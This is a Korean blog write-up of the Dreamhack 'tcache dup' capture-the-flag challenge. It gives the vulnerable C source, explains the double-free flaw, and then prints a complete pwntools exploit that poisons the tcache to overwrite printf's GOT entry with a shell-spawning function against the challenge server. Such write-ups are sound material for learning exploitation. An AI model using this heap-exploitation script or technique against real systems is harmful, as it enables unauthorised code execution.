본문 바로가기

System Hacking

[Dreamhack] tcache dup 풀이 - 티스토리

 

문제 코드

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char *ptr[10];

void alarm_handler() {
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int create(int cnt) {
    int size;

    if (cnt > 10) {
        return -1;
    }
    printf("Size: ");
    scanf("%d", &size);

    ptr[cnt] = malloc(size);

    if (!ptr[cnt]) {
        return -1;
    }

    printf("Data: ");
    read(0, ptr[cnt], size);
}

int delete() {
    int idx;

    printf("idx: ");
    scanf("%d", &idx);

    if (idx > 10) {
        return -1;
    }

    free(ptr[idx]);
}

void get_shell() {
    system("/bin/sh");
}

int main() {
    int idx;
    int cnt = 0;

    initialize();

    while (1) {
        printf("1. Create\n");
        printf("2. Delete\n");
        printf("> ");
        scanf("%d", &idx);

        switch (idx) {
            case 1:
                create(cnt);
                cnt++;
                break;
            case 2:
                delete();
                break;
            default:
                break;
        }
    }

    return 0;
}

 

 

 

 

코드 해석

 

create함수에서 원하는 크기의 청크 할당 및 원하는 값 입력

delete함수에서 원하는 인덱스의 청크 해제 가능

청크 수정하는 게 없어서 DFB 우회가 어려워 보임

 

 

 

익스 설계

 

 

기본적으로 get_shell 함수가 코드 내에 존재하기 때문에 사용하면 된다

또한 Partitail RELRO 이므로 got overwrite이 가능하므로 이를 이용한다

libc를 릭 하기에는 임의 주소를 읽을만한 코드가 없으므로 패스

 

 

 

 

** DFB 우회 방법 생각하다가 댓글 살짝 봤는데 서버에서 이 검사를 안한다길래 일단 그냥 품

 

 

 

전체 exploit

 

from pwn import*
 
p = remote('host3.dreamhack.games', 15248)
 
e = ELF('./tcache_dup')
 
printf_got = e.got['printf']
get_shell = 0x0000000000400ab0
 
def create(size, data):
    p.sendlineafter(b'> ', str(1).encode())
    p.sendlineafter(b'Size: ', str(size).encode())
    p.sendafter(b'Data: ', data)
 
def delete(idx):
    p.sendlineafter(b'> ', str(2).encode())
    p.sendlineafter(b'idx: ', str(idx).encode())
 
create(48, b'dreamhack')
delete(0)
 
delete(0) # DFB 발생
 
create(48, p64(printf_got)) # fk에 printf_got 주소 저장
 
create(48, b'B'*8)
 
create(48, p64(get_shell)) # get_shell주소 printf_got에 overwrite

# printf 실행 시 get_shell 실행

p.interactive()